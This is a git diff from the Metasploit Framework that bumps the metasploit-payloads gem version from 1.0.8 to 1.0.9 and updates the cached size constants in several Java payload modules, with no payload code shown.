+++ b/Gemfile.lock @@ -9,7 +9,7 @@ PATH json metasploit-concern (= 1.0.0) metasploit-model (= 1.0.0) - metasploit-payloads (= 1.0.8) + metasploit-payloads (= 1.0.9) msgpack nokogiri packetfu (= 1.1.9) @@ -123,7 +123,7 @@ GEM activemodel (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) - metasploit-payloads (1.0.8) + metasploit-payloads (1.0.9) metasploit_data_models (1.2.5) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index eb2924b3bd..9d25c58418 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -61,7 +61,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model', '1.0.0' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.0.8' + spec.add_runtime_dependency 'metasploit-payloads', '1.0.9' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # Needed by anemone crawler diff --git a/modules/payloads/singles/java/shell_reverse_tcp.rb b/modules/payloads/singles/java/shell_reverse_tcp.rb index 183aadcd71..77c987748d 100644 --- a/modules/payloads/singles/java/shell_reverse_tcp.rb +++ b/modules/payloads/singles/java/shell_reverse_tcp.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 7761 + CachedSize = 7351 include Msf::Payload::Single include Msf::Payload::Java diff --git a/modules/payloads/stagers/java/bind_tcp.rb b/modules/payloads/stagers/java/bind_tcp.rb index ff2ec2d706..a30c0e3f43 100644 --- a/modules/payloads/stagers/java/bind_tcp.rb +++ b/modules/payloads/stagers/java/bind_tcp.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 5487 + CachedSize = 5097 include Msf::Payload::Stager include Msf::Payload::Java diff --git a/modules/payloads/stagers/java/reverse_http.rb b/modules/payloads/stagers/java/reverse_http.rb index 5871e573df..c8426c3bc4 100644 --- a/modules/payloads/stagers/java/reverse_http.rb +++ b/modules/payloads/stagers/java/reverse_http.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_http' module Metasploit3 - CachedSize = 5505 + CachedSize = 5115 include Msf::Payload::Stager include Msf::Payload::Java diff --git a/modules/payloads/stagers/java/reverse_https.rb b/modules/payloads/stagers/java/reverse_https.rb index 2a95173ce7..8692b6f074 100644 --- a/modules/payloads/stagers/java/reverse_https.rb +++ b/modules/payloads/stagers/java/reverse_https.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/uuid/options' module Metasploit3 - CachedSize = 6313 + CachedSize = 5924 include Msf::Payload::Stager include Msf::Payload::Java diff --git a/modules/payloads/stagers/java/reverse_tcp.rb b/modules/payloads/stagers/java/reverse_tcp.rb index 5e6284c129..f847556523 100644 --- a/modules/payloads/stagers/java/reverse_tcp.rb +++ b/modules/payloads/stagers/java/reverse_tcp.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 5500 + CachedSize = 5110 include Msf::Payload::Stager include Msf::Payload::Java